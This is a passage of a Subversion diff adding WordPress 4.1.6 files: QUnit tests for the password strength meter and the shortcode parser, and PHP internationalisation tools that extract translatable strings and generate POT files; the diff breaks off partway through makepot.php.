+/* global passwordStrength, wp, jQuery */
+jQuery( function() {
+	module( 'password-strength-meter' );
+
+	test( 'mismatched passwords should return 5', function() {
+		equal( passwordStrength( 'password1', 'username', 'password2' ), 5, 'mismatched passwords return 5' );
+	});
+
+	test( 'passwords shorter than 4 characters should return 0', function() {
+		equal( passwordStrength( 'abc', 'username', 'abc' ), 0, 'short passwords return 0' );
+	});
+
+	test( 'long complicated passwords should return 4', function() {
+		var password = function( length ) {
+			var i, n, retVal = '',
+				possibility = 'abcdefghijklnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
+			for ( i = 0, n = possibility.length; i < length; i++ ) {
+				retVal += possibility.charAt( Math.floor( Math.random() * n ) );
+			}
+			return retVal + 'aB2'; // add a lower case, uppercase and number just to make sure we always have one of each
+		},
+		twofifty = password( 250 );
+
+		equal( passwordStrength( twofifty, 'username', twofifty ), 4, '250 character complicated password returns 4' );
+	});
+
+	test( 'short uncomplicated passwords should return 0', function() {
+		var letters = 'aaaa',
+			numbers = '1111',
+			password = 'password',
+			uppercase = 'AAAA';
+		equal( passwordStrength( letters, 'username', letters ), 0, 'password of `' + letters + '` returns 0' );
+		equal( passwordStrength( numbers, 'username', numbers ), 0, 'password of `' + numbers + '` returns 0' );
+		equal( passwordStrength( uppercase, 'username', uppercase ), 0, 'password of `' + uppercase + '` returns 0' );
+		equal( passwordStrength( password, 'username', password ), 0, 'password of `' + password + '` returns 0' );
+	});
+
+	test( 'zxcvbn password tests should return the score we expect', function() {
+		var passwords, i;
+		passwords = [
+			{ pw: 'zxcvbn', score: 0 },
+			{ pw: 'qwER43@!', score: 1 },
+			{ pw: 'Tr0ub4dour&3', score: 2 },
+			{ pw: 'correcthorsebatterystaple', score: 4 },
+			{ pw: 'coRrecth0rseba++ery9.23.2007staple$', score: 4 },
+			{ pw: 'D0g..................', score: 0 },
+			{ pw: 'abcdefghijk987654321', score: 0 },
+			{ pw: 'neverforget13/3/1997', score: 2 },
+			{ pw: '1qaz2wsx3edc', score: 0 },
+			{ pw: 'temppass22', score: 1 },
+			{ pw: 'briansmith', score: 0 },
+			{ pw: 'briansmith4mayor', score: 0 },
+			{ pw: 'password1', score: 0 },
+			{ pw: 'viking', score: 0 },
+			{ pw: 'thx1138', score: 0 },
+			{ pw: 'ScoRpi0ns', score: 0 },
+			{ pw: 'do you know', score: 0 },
+			{ pw: 'ryanhunter2000', score: 0 },
+			{ pw: 'rianhunter2000', score: 1 },
+			{ pw: 'asdfghju7654rewq', score: 2 },
+			{ pw: 'AOEUIDHG&*()LS_', score: 2 },
+			{ pw: '12345678', score: 0 },
+			{ pw: 'defghi6789', score: 0 },
+			{ pw: 'rosebud', score: 0 },
+			{ pw: 'Rosebud', score: 0 },
+			{ pw: 'ROSEBUD', score: 0 },
+			{ pw: 'rosebuD', score: 0 },
+			{ pw: 'ros3bud99', score: 0 },
+			{ pw: 'r0s3bud99', score: 0 },
+			{ pw: 'R0$38uD99', score: 1 },
+			{ pw: 'verlineVANDERMARK', score: 1 },
+			{ pw: 'eheuczkqyq', score: 4 },
+			{ pw: 'rWibMFACxAUGZmxhVncy', score: 4 },
+			{ pw: 'Ba9ZyWABu99[BK#6MBgbH88Tofv)vs$w', score: 4 }
+		];
+
+		for ( i = 0; i < passwords.length; i++ ) {
+			equal( passwordStrength( passwords[i].pw, 'username', passwords[i].pw ), passwords[i].score, 'password of `' + passwords[i].pw + '` returns ' + passwords[i].score );
+		}
+	});
+
+	test( 'blacklisted words in password should be penalized', function() {
+		var allowedPasswordScore, penalizedPasswordScore,
+			allowedPassword   = 'a[janedoe]4',
+			penalizedPassword = 'a[johndoe]4',
+			blacklist         = [ 'extra', 'johndoe', 'superfluous' ];
+
+		allowedPasswordScore = passwordStrength( allowedPassword, blacklist, allowedPassword );
+		penalizedPasswordScore = passwordStrength( penalizedPassword, blacklist, penalizedPassword );
+
+		ok( penalizedPasswordScore < allowedPasswordScore, 'Penalized password scored ' + penalizedPasswordScore + '; allowed password scored: ' + allowedPasswordScore );
+	});
+
+	test( 'user input blacklist array should contain expected words', function() {
+		var blacklist = wp.passwordStrength.userInputBlacklist();
+
+		ok( jQuery.isArray( blacklist ), 'blacklist is an array' );
+		ok( jQuery.inArray( 'WordPress', blacklist ) > -1, 'blacklist contains "WordPress" from page title' );
+		ok( jQuery.inArray( 'tests', blacklist ) > -1, 'blacklist contains "tests" from site URL' );
+	});
+});
Index: /tags/4.1.6/tests/qunit/wp-includes/js/shortcode.js
===================================================================
--- /tags/4.1.6/tests/qunit/wp-includes/js/shortcode.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/wp-includes/js/shortcode.js	(revision 33402)
@@ -0,0 +1,199 @@
+/* global wp, jQuery */
+jQuery( function() {
+	module( 'shortcode' );
+
+	test( 'next() should find the shortcode', function() {
+		var result;
+
+		// Basic
+		result = wp.shortcode.next( 'foo', 'this has the [foo] shortcode' );
+		equal( result.index, 13, 'foo shortcode found at index 13' );
+
+		result = wp.shortcode.next( 'foo', 'this has the [foo param="foo"] shortcode' );
+		equal( result.index, 13, 'foo shortcode with params found at index 13' );
+	});
+
+	test( 'next() should not find shortcodes that are not there', function() {
+		var result;
+
+		// Not found
+		result = wp.shortcode.next( 'bar', 'this has the [foo] shortcode' );
+		equal( result, undefined, 'bar shortcode not found' );
+
+		result = wp.shortcode.next( 'bar', 'this has the [foo param="bar"] shortcode' );
+		equal( result, undefined, 'bar shortcode not found with params' );
+	});
+
+	test( 'next() should find the shortcode when told to start looking beyond the start of the string', function() {
+		var result;
+
+		// Starting at indices
+		result = wp.shortcode.next( 'foo', 'this has the [foo] shortcode', 12 );
+		equal( result.index, 13, 'foo shortcode found before index 13' );
+
+		result = wp.shortcode.next( 'foo', 'this has the [foo] shortcode', 13 );
+		equal( result.index, 13, 'foo shortcode found at index 13' );
+
+		result = wp.shortcode.next( 'foo', 'this has the [foo] shortcode', 14 );
+		equal( result, undefined, 'foo shortcode not found after index 13' );
+	});
+
+	test( 'next() should find the second instances of the shortcode when the starting indice is after the start of the first one', function() {
+		var result;
+
+		result = wp.shortcode.next( 'foo', 'this has the [foo] shortcode [foo] twice', 14 );
+		equal( result.index, 29, 'foo shortcode found the second foo at index 29' );
+	});
+
+
+	test( 'next() should not find escaped shortcodes', function() {
+		var result;
+
+		// Escaped
+		result = wp.shortcode.next( 'foo', 'this has the [[foo]] shortcode' );
+		equal( result, undefined, 'foo shortcode not found when escaped' );
+
+		result = wp.shortcode.next( 'foo', 'this has the [[foo param="foo"]] shortcode' );
+		equal( result, undefined, 'foo shortcode not found when escaped with params' );
+	});
+
+	test( 'next() should find shortcodes that are incorrectly escaped by newlines', function() {
+		var result;
+
+		result = wp.shortcode.next( 'foo', 'this has the [\n[foo]] shortcode' );
+		equal( result.index, 15, 'shortcode found when incorrectly escaping the start of it' );
+
+		result = wp.shortcode.next( 'foo', 'this has the [[foo]\n] shortcode' );
+		equal( result.index, 14, 'shortcode found when incorrectly escaping the end of it' );
+	});
+
+	test( 'next() should still work when there are not equal ammounts of square brackets', function() {
+		var result;
+
+		result = wp.shortcode.next( 'foo', 'this has the [[foo] shortcode' );
+		equal( result.index, 14, 'shortcode found when there are offset square brackets' );
+
+		result = wp.shortcode.next( 'foo', 'this has the [foo]] shortcode' );
+		equal( result.index, 13, 'shortcode found when there are offset square brackets' );
+	});
+
+	test( 'next() should find the second instances of the shortcode when the first one is escaped', function() {
+		var result;
+
+
+		result = wp.shortcode.next( 'foo', 'this has the [[foo]] shortcode [foo] twice' );
+		equal( result.index, 31, 'foo shortcode found the non-escaped foo at index 31' );
+	});
+
+	test( 'next() should not find shortcodes that are not full matches', function() {
+		var result;
+
+		// Stubs
+		result = wp.shortcode.next( 'foo', 'this has the [foobar] shortcode' );
+		equal( result, undefined, 'stub does not trigger match' );
+
+		result = wp.shortcode.next( 'foobar', 'this has the [foo] shortcode' );
+		equal( result, undefined, 'stub does not trigger match' );
+	});
+
+	test( 'replace() should replace the shortcode', function() {
+		var result;
+
+		// Basic
+		result = wp.shortcode.replace( 'foo', 'this has the [foo] shortcode', shortcodeReplaceCallback );
+		equal( result, 'this has the bar shortcode', 'foo replaced with bar' );
+
+		result = wp.shortcode.replace( 'foo', 'this has the [foo param="foo"] shortcode', shortcodeReplaceCallback );
+		equal( result, 'this has the bar shortcode', 'foo and params replaced with bar' );
+	});
+
+	test( 'replace() should not replace the shortcode when it does not match', function() {
+		var result;
+
+		// Not found
+		result = wp.shortcode.replace( 'bar', 'this has the [foo] shortcode', shortcodeReplaceCallback );
+		equal( result, 'this has the [foo] shortcode', 'bar not found' );
+
+		result = wp.shortcode.replace( 'bar', 'this has the [foo param="bar"] shortcode', shortcodeReplaceCallback );
+		equal( result, 'this has the [foo param="bar"] shortcode', 'bar not found with params' );
+	});
+
+	test( 'replace() should replace the shortcode in all instances of its use', function() {
+		var result;
+
+		// Multiple instances
+		result = wp.shortcode.replace( 'foo', 'this has the [foo] shortcode [foo] twice', shortcodeReplaceCallback );
+		equal( result, 'this has the bar shortcode bar twice', 'foo replaced with bar twice' );
+
+		result = wp.shortcode.replace( 'foo', 'this has the [foo param="foo"] shortcode [foo] twice', shortcodeReplaceCallback );
+		equal( result, 'this has the bar shortcode bar twice', 'foo and params replaced with bar twice' );
+	});
+
+	test( 'replace() should not replace the escaped shortcodes', function() {
+		var result;
+
+		// Escaped
+		result = wp.shortcode.replace( 'foo', 'this has the [[foo]] shortcode', shortcodeReplaceCallback );
+		equal( result, 'this has the [[foo]] shortcode', 'escaped foo not replaced' );
+
+		result = wp.shortcode.replace( 'foo', 'this has the [[foo param="bar"]] shortcode', shortcodeReplaceCallback );
+		equal( result, 'this has the [[foo param="bar"]] shortcode', 'escaped foo with params not replaced' );
+
+		result = wp.shortcode.replace( 'foo', 'this [foo] has the [[foo param="bar"]] shortcode escaped', shortcodeReplaceCallback );
+		equal( result, 'this bar has the [[foo param="bar"]] shortcode escaped', 'escaped foo with params not replaced but unescaped foo replaced' );
+	});
+
+	test( 'replace() should replace improperly escaped shortcodes that include newlines', function() {
+		var result;
+
+		result = wp.shortcode.replace( 'foo', 'this [foo] has the [[foo param="bar"]\n] shortcode ', shortcodeReplaceCallback );
+		equal( result, 'this bar has the [bar\n] shortcode ', 'escaping with newlines should not actually escape the content' );
+
+		result = wp.shortcode.replace( 'foo', 'this [foo] has the [\n[foo param="bar"]] shortcode ', shortcodeReplaceCallback );
+		equal( result, 'this bar has the [\nbar] shortcode ', 'escaping with newlines should not actually escape the content' );
+	});
+
+	test( 'replace() should not replace the shortcode when it is an incomplete match', function() {
+		var result;
+
+		// Stubs
+		result = wp.shortcode.replace( 'foo', 'this has the [foobar] shortcode', shortcodeReplaceCallback );
+		equal( result, 'this has the [foobar] shortcode', 'stub not replaced' );
+
+		result = wp.shortcode.replace( 'foobar', 'this has the [foo] shortcode', shortcodeReplaceCallback );
+		equal( result, 'this has the [foo] shortcode', 'stub not replaced' );
+	});
+
+    // A callback function for the replace tests
+	function shortcodeReplaceCallback( ) {
+		return 'bar';
+	}
+
+    test( 'attrs() should return named attributes created with single, double, and no quotes', function() {
+        var expected = {
+            'named': {
+                'param': 'foo',
+                'another': 'bar',
+                'andagain': 'baz'
+            }, 'numeric' : []
+        };
+
+        deepEqual( wp.shortcode.attrs('param="foo" another=\'bar\' andagain=baz'), expected, 'attr parsed all three named types');
+    });
+
+    test( 'attrs() should return numeric attributes in the order they are used', function() {
+        var expected = {
+            'named': {}, 'numeric' : ['foo', 'bar', 'baz']
+        };
+
+        deepEqual( wp.shortcode.attrs('foo bar baz'), expected, 'attr parsed numeric attributes');
+    });
+
+    test( 'attrs() should return numeric attributes in the order they are used when they have named attributes in between', function() {
+        var expected = {
+            'named': { 'not': 'a blocker'  }, 'numeric' : ['foo', 'bar', 'baz']
+        };
+
+        deepEqual( wp.shortcode.attrs('foo not="a blocker" bar baz'), expected, 'attr parsed numeric attributes');
+    });
+});
Index: /tags/4.1.6/tools/i18n/add-textdomain.php
===================================================================
--- /tags/4.1.6/tools/i18n/add-textdomain.php	(revision 33402)
+++ /tags/4.1.6/tools/i18n/add-textdomain.php	(revision 33402)
@@ -0,0 +1,108 @@
+<?php
+/**
+ * Console application, which adds textdomain argument
+ * to all i18n function calls
+ *
+ * @package wordpress-i18n
+ */
+error_reporting(E_ALL);
+
+require_once dirname( __FILE__ ) . '/makepot.php';
+
+class AddTextdomain {
+
+	var $modified_contents = '';
+	var $funcs;
+
+	function AddTextdomain() {
+		$makepot = new MakePOT;
+		$this->funcs = array_keys( $makepot->rules );
+	}
+
+	function usage() {
+		$usage = "Usage: php add-textdomain.php [-i] <domain> <file>\n\nAdds the string <domain> as a last argument to all i18n function calls in <file>\nand prints the modified php file on standard output.\n\nOptions:\n    -i    Modifies the PHP file in place, instead of printing it to standard output.\n";
+		fwrite(STDERR, $usage);
+		exit(1);
+	}
+
+	function process_token($token_text, $inplace) {
+		if ($inplace)
+			$this->modified_contents .= $token_text;
+		else
+			echo $token_text;
+	}
+
+
+	function process_file($domain, $source_filename, $inplace) {
+
+		$this->modified_contents = '';
+		$domain = addslashes($domain);
+
+		$source = file_get_contents($source_filename);
+		$tokens = token_get_all($source);
+
+		$in_func = false;
+		$args_started = false;
+		$parens_balance = 0;
+		$found_domain = false;
+
+		foreach($tokens as $token) {
+			$string_success = false;
+			if (is_array($token)) {
+				list($id, $text) = $token;
+				if (T_STRING == $id && in_array($text, $this->funcs)) {
+					$in_func = true;
+					$parens_balance = 0;
+					$args_started = false;
+					$found_domain = false;
+				} elseif (T_CONSTANT_ENCAPSED_STRING == $id && ("'$domain'" == $text || "\"$domain\"" == $text)) {
+					if ($in_func && $args_started) {
+						$found_domain = true;
+					}
+				}
+				$token = $text;
+			} elseif ('(' == $token){
+				$args_started = true;
+				++$parens_balance;
+			} elseif (')' == $token) {
+				--$parens_balance;
+				if ($in_func && 0 == $parens_balance) {
+					$token = $found_domain? ')' : ", '$domain')";
+					$in_func = false;
+					$args_started = false;
+					$found_domain = false;
+				}
+			}
+			$this->process_token($token, $inplace);
+		}
+
+		if ($inplace) {
+			$f = fopen($source_filename, 'w');
+			fwrite($f, $this->modified_contents);
+			fclose($f);
+		}
+	}
+}
+
+
+// run the CLI only if the file
+// wasn't included
+$included_files = get_included_files();
+if ($included_files[0] == __FILE__) {
+	$adddomain = new AddTextdomain;
+
+	if (!isset($argv[1]) || !isset($argv[2])) {
+		$adddomain->usage();
+	}
+
+	$inplace = false;
+	if ('-i' == $argv[1]) {
+		$inplace = true;
+		if (!isset($argv[3])) $adddomain->usage();
+		array_shift($argv);	
+	}
+
+	$adddomain->process_file($argv[1], $argv[2], $inplace);
+}
+
+?>
Index: /tags/4.1.6/tools/i18n/extract.php
===================================================================
--- /tags/4.1.6/tools/i18n/extract.php	(revision 33402)
+++ /tags/4.1.6/tools/i18n/extract.php	(revision 33402)
@@ -0,0 +1,220 @@
+<?php
+$pomo = dirname( dirname( dirname( __FILE__ ) ) ) . '/src/wp-includes/pomo';
+require_once "$pomo/entry.php";
+require_once "$pomo/translations.php";
+
+/**
+ * Responsible for extracting translatable strings from PHP source files
+ * in the form of Translations instances
+ */
+class StringExtractor {
+
+	var $rules = array(
+		'__' => array( 'string' ),
+		'_e' => array( 'string' ),
+		'_n' => array( 'singular', 'plural' ),
+	);
+	var $comment_prefix = 'translators:';
+
+	function __construct( $rules = array() ) {
+		$this->rules = $rules;
+	}
+
+	function extract_from_directory( $dir, $excludes = array(), $includes = array(), $prefix = '' ) {
+		$old_cwd = getcwd();
+		chdir( $dir );
+		$translations = new Translations;
+		$file_names = (array) scandir( '.' );
+		foreach ( $file_names as $file_name ) {
+			if ( '.' == $file_name || '..' == $file_name ) continue;
+			if ( preg_match( '/\.php$/', $file_name ) && $this->does_file_name_match( $prefix . $file_name, $excludes, $includes ) ) {
+				$extracted = $this->extract_from_file( $file_name, $prefix );
+				$translations->merge_originals_with( $extracted );
+			}
+			if ( is_dir( $file_name ) ) {
+				$extracted = $this->extract_from_directory( $file_name, $excludes, $includes, $prefix . $file_name . '/' );
+				$translations->merge_originals_with( $extracted );
+			}
+		}
+		chdir( $old_cwd );
+		return $translations;
+	}
+
+	function extract_from_file( $file_name, $prefix ) {
+		$code = file_get_contents( $file_name );
+		return $this->extract_from_code( $code, $prefix . $file_name );
+	}
+
+	function does_file_name_match( $path, $excludes, $includes ) {
+		if ( $includes ) {
+			$matched_any_include = false;
+			foreach( $includes as $include ) {
+				if ( preg_match( '|^'.$include.'$|', $path ) ) {
+					$matched_any_include = true;
+					break;
+				}
+			}
+			if ( !$matched_any_include ) return false;
+		}
+		if ( $excludes ) {
+			foreach( $excludes as $exclude ) {
+				if ( preg_match( '|^'.$exclude.'$|', $path ) ) {
+					return false;
+				}
+			}
+		}
+		return true;
+	}
+
+	function entry_from_call( $call, $file_name ) {
+		$rule = isset( $this->rules[$call['name']] )? $this->rules[$call['name']] : null;
+		if ( !$rule ) return null;
+		$entry = new Translation_Entry;
+		$multiple = array();
+		$complete = false;
+		for( $i = 0; $i < count( $rule ); ++$i ) {
+			if ( $rule[$i] && ( !isset( $call['args'][$i] ) || !is_string( $call['args'][$i] ) || '' == $call['args'][$i] ) ) return false;
+			switch( $rule[$i] ) {
+			case 'string':
+				if ( $complete ) {
+					$multiple[] = $entry;
+					$entry = new Translation_Entry;
+					$complete = false;
+				}
+				$entry->singular = $call['args'][$i];
+				$complete = true;
+				break;
+			case 'singular':
+				if ( $complete ) {
+					$multiple[] = $entry;
+					$entry = new Translation_Entry;
+					$complete = false;
+				}
+				$entry->singular = $call['args'][$i];
+				$entry->is_plural = true;
+				break;
+			case 'plural':
+				$entry->plural = $call['args'][$i];
+				$entry->is_plural = true;
+				$complete = true;
+				break;
+			case 'context':
+				$entry->context = $call['args'][$i];
+				foreach( $multiple as &$single_entry ) {
+					$single_entry->context = $entry->context;
+				}
+				break;
+			}
+		}
+		if ( isset( $call['line'] ) && $call['line'] ) {
+			$references = array( $file_name . ':' . $call['line'] );
+			$entry->references = $references;
+			foreach( $multiple as &$single_entry ) {
+				$single_entry->references = $references;
+			}
+		}
+		if ( isset( $call['comment'] ) && $call['comment'] ) {
+			$comments = rtrim( $call['comment'] ) . "\n";
+			$entry->extracted_comments = $comments;
+			foreach( $multiple as &$single_entry ) {
+				$single_entry->extracted_comments = $comments;
+			}
+		}
+		if ( $multiple && $entry ) {
+			$multiple[] = $entry;
+			return $multiple;
+		}
+
+		return $entry;
+	}
+
+	function extract_from_code( $code, $file_name ) {
+		$translations = new Translations;
+		$function_calls = $this->find_function_calls( array_keys( $this->rules ), $code );
+		foreach( $function_calls as $call ) {
+			$entry = $this->entry_from_call( $call, $file_name );
+			if ( is_array( $entry ) )
+				foreach( $entry as $single_entry )
+					$translations->add_entry_or_merge( $single_entry );
+			elseif ( $entry)
+				$translations->add_entry_or_merge( $entry );
+		}
+		return $translations;
+	}
+
+	/**
+	 * Finds all function calls in $code and returns an array with an associative array for each function:
+	 *	- name - name of the function
+	 *	- args - array for the function arguments. Each string literal is represented by itself, other arguments are represented by null.
+	 *  - line - line number
+	 */
+	function find_function_calls( $function_names, $code ) {
+		$tokens = token_get_all( $code );
+		$function_calls = array();
+		$latest_comment = false;
+		$in_func = false;
+		foreach( $tokens as $token ) {
+			$id = $text = null;
+			if ( is_array( $token ) ) list( $id, $text, $line ) = $token;
+			if ( T_WHITESPACE == $id ) continue;
+			if ( T_STRING == $id && in_array( $text, $function_names ) && !$in_func ) {
+				$in_func = true;
+				$paren_level = -1;
+				$args = array();
+				$func_name = $text;
+				$func_line = $line;
+				$func_comment = $latest_comment? $latest_comment : '';
+
+				$just_got_into_func = true;
+				$latest_comment = false;
+				continue;
+			}
+			if ( T_COMMENT == $id ) {
+				$text = trim( preg_replace( '%^/\*|//%', '', preg_replace( '%\*/$%', '', $text ) ) );
+				if ( 0 === stripos( $text, $this->comment_prefix ) ) {
+					$latest_comment = $text;
+				}
+			}
+			if ( !$in_func ) continue;
+			if ( '(' == $token ) {
+				$paren_level++;
+				if ( 0 == $paren_level ) { // start of first argument
+					$just_got_into_func = false;
+					$current_argument = null;
+					$current_argument_is_just_literal = true;
+				}
+				continue;
+			}
+			if ( $just_got_into_func ) {
+				// there wasn't a opening paren just after the function name -- this means it is not a function
+				$in_func = false;
+				$just_got_into_func = false;
+			}
+			if ( ')' == $token ) {
+				if ( 0 == $paren_level ) {
+					$in_func = false;
+					$args[] = $current_argument;
+					$call = array( 'name' => $func_name, 'args' => $args, 'line' => $func_line );
+					if ( $func_comment ) $call['comment'] = $func_comment;
+					$function_calls[] = $call;
+				}
+				$paren_level--;
+				continue;
+			}
+			if ( ',' == $token && 0 == $paren_level ) {
+				$args[] = $current_argument;
+				$current_argument = null;
+				$current_argument_is_just_literal = true;
+				continue;
+			}
+			if ( T_CONSTANT_ENCAPSED_STRING == $id && $current_argument_is_just_literal ) {
+				// we can use eval safely, because we are sure $text is just a string literal
+				eval('$current_argument = '.$text.';' );
+				continue;
+			}
+			$current_argument_is_just_literal = false;
+			$current_argument = null;
+		}
+		return $function_calls;
+	}
+}
Index: /tags/4.1.6/tools/i18n/makepot.php
===================================================================
--- /tags/4.1.6/tools/i18n/makepot.php	(revision 33402)
+++ /tags/4.1.6/tools/i18n/makepot.php	(revision 33402)
@@ -0,0 +1,607 @@
+<?php
+require_once dirname( __FILE__ ) . '/not-gettexted.php';
+require_once dirname( __FILE__ ) . '/pot-ext-meta.php';
+require_once dirname( __FILE__ ) . '/extract.php';
+
+if ( !defined( 'STDERR' ) ) {
+	define( 'STDERR', fopen( 'php://stderr', 'w' ) );
+}
+
+class MakePOT {
+	var $max_header_lines = 30;
+
+	var $projects = array(
+		'generic',
+		'wp-frontend',
+		'wp-admin',
+		'wp-network-admin',
+		'wp-core',
+		'wp-ms',
+		'wp-tz',
+		'wp-plugin',
+		'wp-theme',
+		'bb',
+		'mu',
+		'bp',
+		'rosetta',
+		'wporg-bb-forums',
+	);
+
+	var $rules = array(
+		'_' => array('string'),
+		'__' => array('string'),
+		'_e' => array('string'),
+		'_c' => array('string'),
+		'_n' => array('singular', 'plural'),
+		'_n_noop' => array('singular', 'plural'),
+		'_nc' => array('singular', 'plural'),
+		'__ngettext' => array('singular', 'plural'),
+		'__ngettext_noop' => array('singular', 'plural'),
+		'_x' => array('string', 'context'),
+		'_ex' => array('string', 'context'),
+		'_nx' => array('singular', 'plural', null, 'context'),
+		'_nx_noop' => array('singular', 'plural', 'context'),
+		'_n_js' => array('singular', 'plural'),
+		'_nx_js' => array('singular', 'plural', 'context'),
+		'esc_attr__' => array('string'),
+		'esc_html__' => array('string'),
+		'esc_attr_e' => array('string'),
+		'esc_html_e' => array('string'),
+		'esc_attr_x' => array('string', 'context'),
+		'esc_html_x' => array('string', 'context'),
+		'comments_number_link' => array('string', 'singular', 'plural'),
+	);
+
+	var $ms_files = array( 'ms-.*', '.*/ms-.*', '.*/my-.*', 'wp-activate\.php', 'wp-signup\.php', 'wp-admin/network\.php', 'wp-admin/includes/ms\.php', 'wp-admin/network/.*\.php', 'wp-admin/includes/class-wp-ms.*' );
+
+	var $temp_files = array();
+
+	var $meta = array(
+		'default' => array(
+			'from-code' => 'utf-8',
+			'msgid-bugs-address' => 'http://make.wordpress.org/polyglots',
+			'language' => 'php',
+			'add-comments' => 'translators',
+			'comments' => "Copyright (C) {year} {package-name}\nThis file is distributed under the same license as the {package-name} package.",
+		),
+		'generic' => array(),
+		'wp-frontend' => array(
+			'description' => 'Translation of frontend strings in WordPress {version}',
+			'copyright-holder' => 'WordPress',
+			'package-name' => 'WordPress',
+			'package-version' => '{version}',
+		),
+		'wp-admin' => array(
+			'description' => 'Translation of site admin strings in WordPress {version}',
+			'copyright-holder' => 'WordPress',
+			'package-name' => 'WordPress',
+			'package-version' => '{version}',
+		),
+		'wp-network-admin' => array(
+			'description' => 'Translation of network admin strings in WordPress {version}',
+			'copyright-holder' => 'WordPress',
+			'package-name' => 'WordPress',
+			'package-version' => '{version}',
+		),
+		'wp-core' => array(
+			'description' => 'Translation of WordPress {version}',
+			'copyright-holder' => 'WordPress',
+			'package-name' => 'WordPress',
+			'package-version' => '{version}',
+		),
+		'wp-ms' => array(
+			'description' => 'Translation of multisite strings in WordPress {version}',
+			'copyright-holder' => 'WordPress',
+			'package-name' => 'WordPress',
+			'package-version' => '{version}',
+		),
+		'wp-tz' => array(
+			'description' => 'Translation of timezone strings in WordPress {version}',
+			'copyright-holder' => 'WordPress',
+			'package-name' => 'WordPress',
+			'package-version' => '{version}',
+		),
+		'bb' => array(
+			'description' => 'Translation of bbPress',
+			'copyright-holder' => 'bbPress',
+			'package-name' => 'bbPress',
+		),
+		'wp-plugin' => array(
+			'description' => 'Translation of the WordPress plugin {name} {version} by {author}',
+			'msgid-bugs-address' => 'http://wordpress.org/support/plugin/{slug}',
+			'copyright-holder' => '{author}',
+			'package-name' => '{name}',
+			'package-version' => '{version}',
+		),
+		'wp-theme' => array(
+			'description' => 'Translation of the WordPress theme {name} {version} by {author}',
+			'msgid-bugs-address' => 'http://wordpress.org/support/theme/{slug}',
+			'copyright-holder' => '{author}',
+			'package-name' => '{name}',
+			'package-version' => '{version}',
+			'comments' => 'Copyright (C) {year} {author}\nThis file is distributed under the same license as the {package-name} package.',
+		),
+		'bp' => array(
+			'description' => 'Translation of BuddyPress',
+			'copyright-holder' => 'BuddyPress',
+			'package-name' => 'BuddyPress',
+		),
+		'glotpress' => array(
+			'description' => 'Translation of GlotPress',
+			'copyright-holder' => 'GlotPress',
+			'package-name' => 'GlotPress',
+		),
+		'wporg-bb-forums' => array(
+			'description' => 'WordPress.org International Forums',
+			'copyright-holder' => 'WordPress',
+			'package-name' => 'WordPress.org International Forums',
+		),
+		'rosetta' => array(
+			'description' => 'Rosetta (.wordpress.org locale sites)',
+			'copyright-holder' => 'WordPress',
+			'package-name' => 'Rosetta',
+		),
+	);
+
+	function __construct($deprecated = true) {
+		$this->extractor = new StringExtractor( $this->rules );
+	}
+
+	function __destruct() {
+		foreach ( $this->temp_files as $temp_file )
+			unlink( $temp_file );
+	}
+
+	function tempnam( $file ) {
+		$tempnam = tempnam( sys_get_temp_dir(), $file );
+		$this->temp_files[] = $tempnam;
+		return $tempnam;
+	}
+
+	function realpath_missing($path) {
+		return realpath(dirname($path)).DIRECTORY_SEPARATOR.basename($path);
+	}
+
+	function xgettext($project, $dir, $output_file, $placeholders = array(), $excludes = array(), $includes = array()) {
+		$meta = array_merge( $this->meta['default'], $this->meta[$project] );
+		$placeholders = array_merge( $meta, $placeholders );
+		$meta['output'] = $this->realpath_missing( $output_file );
+		$placeholders['year'] = date( 'Y' );
+		$placeholder_keys = array_map( create_function( '$x', 'return "{".$x."}";' ), array_keys( $placeholders ) );
+		$placeholder_values = array_values( $placeholders );
+		foreach($meta as $key => $value) {
+			$meta[$key] = str_replace($placeholder_keys, $placeholder_values, $value);
+		}
+
+		$originals = $this->extractor->extract_from_directory( $dir, $excludes, $includes );
+		$pot = new PO;
+		$pot->entries = $originals->entries;
+
+		$pot->set_header( 'Project-Id-Version', $meta['package-name'].' '.$meta['package-version'] );
+		$pot->set_header( 'Report-Msgid-Bugs-To', $meta['msgid-bugs-address'] );
+		$pot->set_header( 'POT-Creation-Date', gmdate( 'Y-m-d H:i:s+00:00' ) );
+		$pot->set_header( 'MIME-Version', '1.0' );
+		$pot->set_header( 'Content-Type', 'text/plain; charset=UTF-8' );
+		$pot->set_header( 'Content-Transfer-Encoding', '8bit' );
+		$pot->set_header( 'PO-Revision-Date', date( 'Y') . '-MO-DA HO:MI+ZONE' );
+		$pot->set_header( 'Last-Translator', 'FULL NAME <EMAIL@ADDRESS>' );
+		$pot->set_header( 'Language-Team', 'LANGUAGE <LL@li.org>' );
+		$pot->set_comment_before_headers( $meta['comments'] );
+		$pot->export_to_file( $output_file );
+		return true;
+	}
+
+	function wp_generic($dir, $args) {
+		$defaults = array(
+			'project' => 'wp-core',
+			'output' => null,
+			'default_output' => 'wordpress.pot',
+			'includes' => array(),
+			'excludes' => array_merge(
+				array('wp-admin/includes/continents-cities\.php', 'wp-content/themes/twenty.*', ),
+				$this->ms_files
+			),
+			'extract_not_gettexted' => false,
+			'not_gettexted_files_filter' => false,
+		);
+		$args = array_merge( $defaults, $args );
+		extract( $args );
+		$placeholders = array();
+		if ( $wp_version = $this->wp_version( $dir ) )
+			$placeholders['version'] = $wp_version;
+		else
+			return false;
+		$output = is_null( $output )? $default_output : $output;
+		$res = $this->xgettext( $project, $dir, $output, $placeholders, $excludes, $includes );
+		if ( !$res ) return false;
+
+		if ( $extract_not_gettexted ) {
+			$old_dir = getcwd();
+			$output = realpath( $output );
+			chdir( $dir );
+			$php_files = NotGettexted::list_php_files('.');
+			$php_files = array_filter( $php_files, $not_gettexted_files_filter );
+			$not_gettexted = new NotGettexted;
+			$res = $not_gettexted->command_extract( $output, $php_files );
+			chdir( $old_dir );
+			/* Adding non-gettexted strings can repeat some phrases */
+			$output_shell = escapeshellarg( $output );
+			system( "msguniq --use-first $output_shell -o $output_shell" );
+		}
+		return $res;
+	}
+
+	function wp_core($dir, $output) {
+		if ( file_exists( "$dir/wp-admin/user/about.php" ) ) return false;
+
+		return $this->wp_generic( $dir, array(
+			'project' => 'wp-core', 'output' => $output,
+			'extract_not_gettexted' => true,
+                        'not_gettexted_files_filter' => array( $this, 'is_not_ms_file' ),
+		) );
+	}
+
+	function wp_frontend($dir, $output) {
+		if ( ! file_exists( "$dir/wp-admin/user/about.php" ) ) return false;
+
+		return $this->wp_generic( $dir, array(
+			'project' => 'wp-frontend', 'output' => $output,
